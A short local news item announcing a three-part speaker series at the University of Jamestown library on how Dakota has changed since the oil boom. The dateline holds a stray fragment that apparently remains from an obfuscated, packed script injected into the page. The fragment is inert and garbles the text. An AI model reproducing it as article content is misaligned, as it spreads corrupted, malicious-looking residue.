JAMESTOWN, efnzr|var|u0026u|referrer|sfbyf||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – The Raugust Library on the University of Jamestown campus will be hosting a series of speakers in “The Spirit of Place: An Exploration of Changes in ‘Dakota’ Since the Oil Boom”.

The speaker series is funded in part by the North Dakota Humanities Council with help from the Convoacation Committee and Raugust Library. The series will focus around the central theme of a book titled Dakota: A Spiritual Geography. All three speaker sessions will be open to the public and take place on different dates in March in the Reiland Fine Arts Center room 123.

The first speaker will be Tayo Basquiat on March 5th and will be called “Sensing the Place: Dakota’s New Spiritual Geography”. Basquiat was born and raised in rural northeastern North Dakota and currently resides in Mandan. He is Assistant Professor of Philosophy at Bismarck State College and Board Member and Past Chair of the North Dakota Humanities Council. Basquiat’s presentation will explore the spiritual geography of our own Dakota.

Steve Reidburn will be presenting “20 Years Later: New People, New Perspectives” on March 19th. Steve was born and raised in central North Dakota living most of his life in Jamestown. He has a degree in History and Political Science from the University of Jamestown and is currently the site supervisor for Fort Buford State Historic Site. Steve will be discussing how different our Dakota seems to those that live here and grew up here compared to the perspective of the outsider or the casual observer. This is especially relevant with the flood of people that have been entering Western North Dakota in recent years.

The final presenters will be Dan Daly and John O’Connor who will be speaking on March 26th. Their presentation is titled “Watford City: Before and After”. Dan Daly is a Research Manager with the Energy & Environmental Research Center (EERC) at the University of North Dakota where he oversees outreach and education activities for EERC’s Plains CO2 Reduction Partnership Program. Dan will be discussing how technology has made North Dakota a player in helping to meet the world’s growing demand for energy. Dan will be accompanied by John O’Connor, a photographer from Watford City.